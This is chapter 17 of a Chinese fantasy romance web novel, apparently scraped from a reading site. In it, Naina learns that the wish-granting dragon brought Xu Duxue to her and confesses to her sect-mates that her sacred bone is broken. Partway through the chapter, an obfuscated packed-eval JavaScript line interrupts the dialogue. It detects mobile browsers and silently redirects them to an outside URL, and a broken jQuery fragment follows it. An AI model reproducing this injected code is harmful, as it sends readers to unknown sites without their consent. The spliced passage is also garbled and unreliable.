17.第 17 章

作品:《捡到一条许愿龙

    奈奈不明白徐渡雪的话。


    她的心都长在颈后那只手上,如同一只被主人顺毛的猫,微微地眯起眼,认真思考什么叫“我是你的愿望”?


    他热烫的指骨压得她的脖颈酥酥麻麻,把她给压迷糊了。


    阿雪的手长得好大啊……


    这么漂亮的男人给她按摩,真的让人很难抵抗啊。


    忽然,她瞪大了眼,漆黑的瞳仁放大,一抹红色以肉眼可见的速度从圆润白嫩的耳尖爬上了脸颊。


    她想起来了!


    奈奈猛地站直了身体,目不转睛地盯着徐渡雪,结结巴巴:“阿,阿雪是龙兄抢——送来的?”


    所以他才会看到龙兄一点儿都不惊讶?


    徐渡雪没有说话,轻捻地指腹,就像捻着她后颈的皮肉。


    这代表默认。


    奈奈恨不得找个地缝钻进去算了。


    难怪那晚醉酒过后,小龙精看她的眼神奇怪极了。


    一开始她还以为是因为自己摸了“他”的龙龙的缘故,现在想想,“他”最初受伤时,她帮“他”治伤时也无意中触碰到过“他”的龙龙,“他”根本不当一回事。


    她抱着最后一丝希望,问:“那,龙兄把我的要求也和阿雪说了?全部都说了?”


    比如,她想要一个“活儿好”的男人……


    徐渡雪又默认了。


    奈奈彻底地红温了。


    她憋了好一会儿,憋出一句话:“对不起,我这就让龙兄送你回家!”


    徐渡雪睨她:“你对我不满意?”


    “不不不不!”奈奈红着脸解释,“满意满意!”说完又觉得这话有歧义,“阿雪很好,是我见过最漂亮的男人!但我,我,我,我……”她“我”了好一会儿都“我”不出一个所以然来。


    她要怎么和他解释呢,那天夜里她只是实在太难过太孤独,才会许下那么离谱的愿望。


    第二天她就忘了。


    她没想到小龙精真掳了一个男人送到她床上!


    她想了好久,硬着头皮问:“阿雪住在哪儿,如果不是太远,我送阿雪回家?阿雪一晚上不回家,阿雪的家里人一定也很担心吧?”


    徐渡雪紧抿着唇,没有说话。


    不知道为什么,奈奈觉得他不高兴了。


    也对,任谁平白无故地被人当作“愿望”掳来都会不高兴,可他不仅没有骂她,还帮她按摩。


    果然和许下的愿望一样,阿雪真是一个温柔体贴的好男人。


    奈奈又开始胡思乱想了。


    他忽然道:“我没有家人。”


    奈奈楞了一下:“一个也没有吗?也没有未婚妻?妻子?”


    他看起来很像是养尊处优的皇太子,又长成这幅模样,这个年纪应该早就订婚或者成婚了吧……


    徐渡雪闻言,那对深不见底的漆黑眼眸像是结了冰。


    看来是真没有。


    他真可怜。


    奈奈伸手抚上他的面颊。


    他没有躲开。


    于是她的另外一只手也抚上他的面颊,安慰:“对不起,我不该问,阿雪别伤心啦!”


    徐渡雪微微眯起眼。


    他伤心吗?


    不,他只恨当时让那些所谓的“家人”“未婚妻”死得太痛快!


    *


    已经快要晌午,花无奈还未出现!


    欧阳久久在房间里走来走去。


    这时,外面传来敲门声。


    是赵澜生。


    他昨晚守了沈清昀一夜,眼下一圈青黑,面色白得像鬼。


    欧阳久久被他吓了一跳:“怎么弄成这副德性?”


    赵澜生望着精神奕奕的小老虎,打了个哈欠:“大师姐,我们凡人是需要睡觉的。”


    欧阳久久闻言,从随身空间里摸出一粒红色的丹药递给他。


    赵澜生瞬时喜笑颜开,甚至都没问是什么就塞进了嘴里,嚼得咯吱作响。


    欧阳久久蹙眉:“你都不问问这是什么就往嘴里塞?万一是毒药怎么办?”


    赵澜生挑眉:“反正大师姐要为我的下半辈子负责,就算喂我毒药,那我也得吃!”


    真是个缺心眼的神经病!


    欧阳久久在心里给他下了结论,问:“他呢?是不是闹了?”


    赵澜生摇摇头:“一夜好眠,呼噜都没打。”


    欧阳久久“呵呵”冷笑两声。嘴巴上说“不要”,身体却很诚实地等小师妹,男人果然都是贱骨头!


    闷葫芦也不例外!


    赵澜生心想难道小老虎受过什么情伤,所以才那么恨男人?


    不过以小老虎的脾气,要是谁敢伤她的心,那对方指不定都见不到明天的太阳……


    他摸摸鼻子,“三师姐什么时候过来?”


    欧阳久久哪里知道:“她要敢不来,我立刻杀去她家,把她家里藏的那个书生给阉了!”


    赵澜生闻言两腿之间凉飕飕地。


    小老虎和小医修师姐到底是结了多大仇?


    *


    奈奈仰头看向天上明晃晃的日头。


    距离和欧阳久久约定的时间还不到两个时辰。


    她其实一点儿也不想去,可她要是不去,以欧阳久久的脾气,决计会杀到她家里来“阉”人。


    想到这儿,她偷偷地拿眼角觑了一眼坐在石桌前的徐渡雪。


    他手里握着一卷书,神情十分地专注。


    用过早饭后,他一直坐在那儿看书。


    他真是个爱学习的人。


    不像她,从小一看书就头疼,学习那种东西和她好像有仇,怎么都学不进去。


    这一世也一样,那些心法典籍更是一点儿也看不进去。好在她拥有圣骨,再加上欧阳久久和沈清昀都是学习的好苗子,每次他们三个一起修炼时,他二人总是你一句我一句把书里那些晦涩难懂的东西用浅白的话说给她听,便于她理解。


    要是欧阳久久待会儿来了,真要动手“阉”他怎么办?


    奈奈的脑海里不由自主地浮现出那个粉色的龙龙……


    徐渡雪突然朝她望来。


    她慌忙收回视线,埋头看向脚下的蚂蚁,脸颊烧得滚烫。


    算了,还是去见一面欧阳久久,把话说清楚。一来是为了徐渡雪的安全,二来也算告个别。灵曦之石都已经现世,她的死期恐怕就在这几天了。


    一想到这儿,她的心就隐隐作痛。小龙精对她那么好,把这世上最漂亮的男人都送到她床上来,她却要死了,连碰人家一下都心虚。


    奈奈热度脸上消下去后,慢吞吞地走到徐渡雪面前:“那个阿雪,我要出去一趟,你有没有什么想吃的,我买回来给你?”


    早上的馒头他动都没动,肯定饿坏了。


    徐渡雪从书里抬起视线:“酒。”


    说到酒,奈奈忽然想起昨天夜里自己带了酒给小龙精,结果后来砸碎在地板上,谁知今天早上她进屋的时候,屋里干干净净,一点儿酒气都闻不着。


    一定是他打扫的。


    她的“愿望”真贤惠!


    奈奈答应下来,临出门前特地去了一趟药庐。


    小龙精还在睡。


    想来她这个愿望许得实在太“大”太离谱,所以耗费了不少精气神。


    奈奈把小龙精抱在怀里,长长地叹了一口气。


    外头的徐渡雪指骨顿了一下,朝药庐望去。


    小兔子有些娇气怅然的嗓音在他耳边幽幽响起:“龙兄,你为什么要对我这么好,是因为我救了你吗?”说完,又偷偷地趴在“他”耳边,呵气如兰,“不过,他那里真的好大。书上说,那东西没用过的话,颜色都特别粉,他一定没用过!龙兄你怎么知道他活好?会不会中看不中用?”


    徐渡雪微微眯起眼睛,指骨捏得咯吱作响。


    过了一会儿,那色坯子从药庐里出来,弯弯眼睫,笑得乖巧甜暖:“阿雪,我要出门去啦。”


    他懒散地“嗯”了一声,算是回应。


    她一步三回头地出了家门。


    目送那抹黑色的身影走远,徐渡雪把手里的修真典籍收入袖中,重新摸出一本书来,赭黄色的书皮上赫然四个大字:《风月艳史》


    *


    奈奈到客栈时,刚好撞上正准备杀去她家的欧阳久久。


    两人大眼瞪小眼。


    还不等奈奈开口,欧阳久久一把拽住她的胳膊,把她一路拽到一间客房前,道:“他就在里面,你进去吧。完事儿咱们明天就走!”


    奈奈闻言,扶额叹气:“二师兄这么多年真是瞎了眼!”


    欧阳久久睨她一眼:“谁说不是呢,瞎得很彻底!”不等奈奈说话,她一把推开房门。


    本该躺在床上的沈清昀正端坐在桌前悠然喝茶。


    欧阳久久愣了一下,看向赵澜生:“谁让你给他松绑的?”她那个绳子专门拿来捆修士,除非有人帮忙解开,不然越挣扎越紧。


    赵澜生一脸无辜:“我一进来他就坐那喝茶了。”


    沈清昀看向奈奈,脾气温和:“师妹来了。”


    奈奈摸摸鼻尖:“我只是随便说说,没想到她真干出这种事儿了,怪我。”


    欧阳久久见他俩眉来眼去,蹙眉:“那你们俩现在是什么意思,是等你们办完事再走,还是现在走?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455584|184854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在场的三个人听她一口一个“办事儿”,脸都红了。尤其是沈清昀,耳朵红得吓人,也不知道是气的还是羞的。


    奈奈道:“我和二师兄不是大师姐想的那样。我也不会去。我今天来就是解释这事儿。”


    欧阳久久是下了多大的决心才干出这种事儿,没想到她居然是耍自己,一怒之下就要动手。


    沈清昀见状,生怕殃及池鱼,一把把赵澜生拽到身后去。


    奈奈没有躲。


    从前两个人不知道打了多少次架,这是她头一回没有躲。


    欧阳久久扣紧了她的手腕,正欲动手,随即满脸不可置信:“怎么会?你怎么会?这绝不可能!”


    沈清昀也察觉不对,去扣奈奈的手腕,也露出一脸凝重的神情。


    软绵绵,灵力稀疏得可怜,别说圣骨体质,连筑基都无。


    奈奈:“所以我和你们不同路,以后别再找我了。”


    她早已经不再是那个拥有圣骨的少年天才。


    无论她怎么努力地修炼,今天储满的修为,明天一早起来就会漏得丁点不剩。


    她眼睁睁地看着体内圣洁若雪的骨头每一天多出一道裂痕,却无能为力。


    她其实不怪009遗弃她。


    009想了很多办法补救她的圣骨,可都无济于事。直到两年后,那条圣骨化作灰黑色的死物,他才彻底放弃她。


    还真让人难以启齿啊。


    她就是害怕看见这样的场景。


    就像上辈子那样,每个人都用唏嘘同情:“长这么可爱漂亮的小姑娘,怎么会得了不治之症呢。”


    哪怕知道别人都是好意,可心里还是会很不舒服啊。


    好在这场戏终于谢幕了。


    奈奈转身要走,却被欧阳久久拦住去路。


    欧阳久久却并没有如她想象中露出同样的表情,垂眸凝视着她:“所以你就因为这个放弃了?”


    奈奈叹气:“不放弃又能这样,留在宗门做个废物?”


    欧阳久久冷冷道:“连赵澜生这种毫无根骨的人拼了命也想要走上这条路,你居然就这么轻而易举地放弃了。”


    “花无奈!”她说出来的话冷酷而残忍:“你不配做我的对手!”


    一向好脾气的少女也被激怒,一对黑漆漆的圆眼睛憋得通红。


    欧阳久久冷笑一声:“你瞪我做什么?你现在是个废物,打得过我?花无奈,我告诉你,我看不起你并不是你失去了圣骨,而是你遇事只会躲起来哭鼻子!”


    奈奈冷冷盯着她,忽地莞尔笑了:“那又如何?就算我圣骨碎了,就算我现在打不过你,那又如何?欧阳久久,你也不不过是靠我和大师兄让着你,才当上尘徽宗的大师姐。欧阳久久,你永远都是我的手下败将!”


    人和人之间就是这样,相处久了,最知道把刀子扎在什么地方最疼。


    果然,欧阳久久就像是一头被激怒的老虎,血红的眼睛恶狠狠地瞪她。


    赵澜生想要上前劝架,被沈清昀拦了下来。


    奈奈:“你要动手吗?如果不动手,我可就走了。”说完,头也不回地离去。


    欧阳久久没追上来。


    一出客栈,她就像泄了气的皮球,脚步沉重地抬不动脚步。


    已经下午了,天气黑沉沉地,压得人喘不过气来。


    奈奈抬头望着天,想起第一日来到这个瑰丽奇幻的异世界。


    好像也是这样的阴天,可她的心情却截然不同。


    009给了她生的希望。


    只不过这希望只持续了十几年,现在又要失去了。


    欧阳久久凭什么要瞧不起她!


    她又没死过,所以才可以这样大言不惭地和她谈无畏生死!


    当死亡掐住你的喉咙时,你什么都不能说,不能做,只能眼睁睁地看着呼吸机屏幕上那条起伏的一点点线拉平。


    最终,你死了。


    临死前你都没等来想见的人!


    其实心里也有恨吧。


    恨他那样不辞而别。


    恨他就那么把她遗弃了。


    她如同无根的浮萍,自怨自艾地随风飘零,然后在冬天来临之际,悄无声息地死去。


    天好黑啊,好像下雨了。


    她在这个暗无天日的世界里横冲直撞,跌跌撞撞,一路上不知撞了多少人,摔了多少跤。


    走着走着,她眼前一片模糊都要看不见清路。


    突然,一双温暖的大手捧起了她的脸。


    隔着一层水雾,奈奈看见了一张雪白俊美的脸。


    他蹙眉:“谁欺负你了?”


    是“她”的愿望。